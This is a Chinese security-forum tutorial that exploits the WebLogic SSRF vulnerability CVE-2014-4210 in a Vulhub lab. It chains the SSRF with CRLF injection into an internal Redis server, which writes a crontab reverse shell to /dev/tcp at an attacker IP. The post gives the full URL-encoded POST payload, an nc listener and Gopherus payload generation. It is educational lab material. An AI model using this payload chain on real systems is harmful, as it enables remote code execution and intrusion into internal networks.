用户
搜索
  • TA的每日心情
    开心
    5 天前
  • 签到天数: 3 天

    连续签到: 1 天

    [LV.2]偶尔看看

    i春秋-脚本小子

    Rank: 2

    0

    主题

    2

    帖子

    123

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2018-8-6
    发表于 2020-8-19 15:48:45 35035
    本帖最后由 icqee0f8581 于 2020-8-19 15:55 编辑

    SSRF简介

    SSRF(server-side request forgery ):服务器端请求伪造。是一种由攻击者构造形成而由服务器端发起请求的一个安全漏洞,因为他是由服务器端发起的,所以他能够请求到与他相连而与外网隔离的内部系统,在一般情况下,ssrf攻击的目标是从外网无法访问的内部系统。

    环境搭建

    本次使用的靶机是Vulhub中的一个环境,搭建方法:将vulhub项目git到本地,切换到vulhub/weblogic/ssrf目录下,使用下面的命令进行搭建

    docker-compose build
    docker-compose up -d

    搭建成功后使用docker ps命令可以看到正在运行的容器,其中Weblogic监听在7001端口,访问http://192.168.233.150:7001/console/地址会跳转到登录页面。

    image-20200819131140623.png

    攻击思路

    通过公网Weblgic 存在SSRF漏洞(CVE-2014-4210),探测到内网某IP开放6379端口并运行着Redis服务,利用HTTP注入和Redis未授权访问漏洞进行反弹shell

    攻击演示

    发现SSRF

    通过了解CVE-2014-4210可以知道, 漏洞位置在uddiexplorer下的SearchPublicRegistries.jsp处 ,因此我们可以直接访问 http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp进入到存在漏洞的页面,在`Search by business name`处输入test 点击Search进行测试
    image-20200819131851545.png

    这时我们查看刚才整个过程的请求和相应包

    image-20200819132221354.png

    在operator参数中发现了url地址,这时我们对请求的内容进行修改,进行内网探测

    operator=http://127.0.0.1:7001&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business location&btnSubmit=Search

    在返回的数据包中出现了如现错误

    image-20200819132540337.png

    当访问其他未开放的端口时,会出现以下错误

    image-20200819132904817.png

    发现Redis服务器

    这时就可以使用Burp的intruder模块对内网ip和端口进行探测,或者是使用脚本进行探测,通过探测可以发现172.18.0.2:6378端口可以连通

    image-20200819135332850.png

    Redis反弹shell(header CRLF 注入)

    Weblogic的SSRF有一个比较大的特点,其虽然是一个GET请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。  

    发送三条redis命令,将反弹shell的语句写入到/etc/corntab中

    crontab就是linux下的一个定时执行事件的一个程序 ,可以通过向/etc/corntab中写入相应命令,以一定时间间隔调度一些命令的执行

    首先在攻击机上设置端口监听,在windows下的监听命令为

    nc -nvlp 9696

    这里写入的命令如下,其中的ip地址和端口为设置nc监听的机器ip和监听端口

    test
    
    set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.233.153/9696 0>&1\n\n\n\n"
    config set dir /etc/
    config set dbfilename crontab
    save
    
    hhh

    因为服务器接收到数据会对数据进行url解码,所以这里先对写入的命令进行url编码,其中换行符\r\n,对应编码后的内容为%0D%0A

    注意这里使用一些软件进行URL编码时并不会将换行符编码为%0D%0A而是%0A,所以需要注意以下并进行手动替换,替换后的payload为

    test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.233.153%2F9696%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Ahhh

    最终post的数据为

    operator=http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.233.153%2F9696%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Ahhh&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business location&btnSubmit=Search

    image-20200819142002604.png

    提交后就可以在监听的终端中拿到 shell了

    image-20200819142027755.png

    Redis反弹shell(gophar协议)

    gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

    这里介绍一个Gophar协议利用工具Gopharus

    该工具将帮助您生成Gopher有效负载,以利用SSRF(服务器端请求伪造)并获得RCE(远程代码执行)。 而且,它将帮助您在受害服务器上获得shell

    使用方法非常简单,按照提示就可以生成payload了

    python gopherus.py --exploit redis

    image-20200819151555244.png

    首先根据提示进行监听,然后将生成的payload放入burp相应的位置修改ip后进行提交,但在这里会提示如下错误

    An error has occurred
    weblogic.uddi.client.structures.exception.XML_SoapException: unknown protocol: gopher

    也就是说这里不能使用gophar协议,如果是在其他环境下支持gophar协议的话就可以这样进行攻击了,但是这里可以将生成payload中的gophar改为http,然后Go一下,同样能得到shell

    image-20200819152703232.png

    总结

    SSRF漏洞本身危害不大,好多SRC上都将它评为低危,但由于它可以访问一些无法访问的内部系统,因此一旦它和其他漏洞进行结合利用,其危害不容小觑。



    本帖被以下淘专辑推荐:

    发表于 2020-8-19 17:22:15
    写的不错
    使用道具 举报 回复
    发表于 2020-8-20 11:21:22
    感谢分享
    使用道具 举报 回复
    表格666
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册